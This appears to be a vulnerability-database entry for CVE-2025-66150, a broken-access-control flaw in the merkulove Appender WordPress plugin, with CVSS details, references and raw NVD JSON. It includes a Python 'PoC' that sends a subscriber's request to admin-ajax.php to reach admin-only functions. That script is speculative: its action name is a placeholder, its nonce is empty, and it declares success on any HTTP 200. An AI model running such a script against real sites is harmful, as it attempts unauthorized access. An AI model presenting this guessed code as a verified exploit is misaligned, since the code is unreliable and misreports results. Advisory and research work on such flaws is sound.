CVE-2025-66150

Description

Missing Authorization vulnerability in merkulove Appender appender allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Appender: from n/a through <= 1.1.1.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

merkulove Appender <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-66150 PoC - Missing Authorization in Appender Plugin
# Target: WordPress site with merkulove Appender plugin <= 1.1.1

target_url = "http://target-wordpress-site.com"

# Identify the vulnerable endpoint
vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php"

# Low-privilege user authentication (subscriber role)
cookies = {
    "wordpress_test_cookie": "WP+Cookie+check",
    # Add authenticated session cookies for low-privilege user
}

# Exploit: Bypass authorization to access admin-only functions
payload = {
    "action": "appender_admin_action",  # Identify actual action name
    "nonce": "",  # Attempt to bypass or use leaked nonce
    "operation": "export_logs",  # Target sensitive operation
}

print("[*] Sending exploit request for CVE-2025-66150...")
response = requests.post(vulnerable_endpoint, data=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Authorization bypass successful - accessed admin function")
    print(f"[*] Response: {response.text[:500]}")
else:
    print("[-] Exploit failed or target not vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66150
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66150
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66150/
[4] VulDB https://vuldb.com/cve/CVE-2025-66150
[5] https://patchstack.com/database/Wordpress/Plugin/appender/vulnerability/wordpress-appender-plugin-1-1-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66150", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:44.237", "lastModified": "2026-04-23T15:35:28.177", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Appender appender allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Appender: from n/a through <= 1.1.1."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en merkulove Appender permite Explotar Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a Appender: desde n/a hasta 1.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/appender/vulnerability/wordpress-appender-plugin-1-1-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}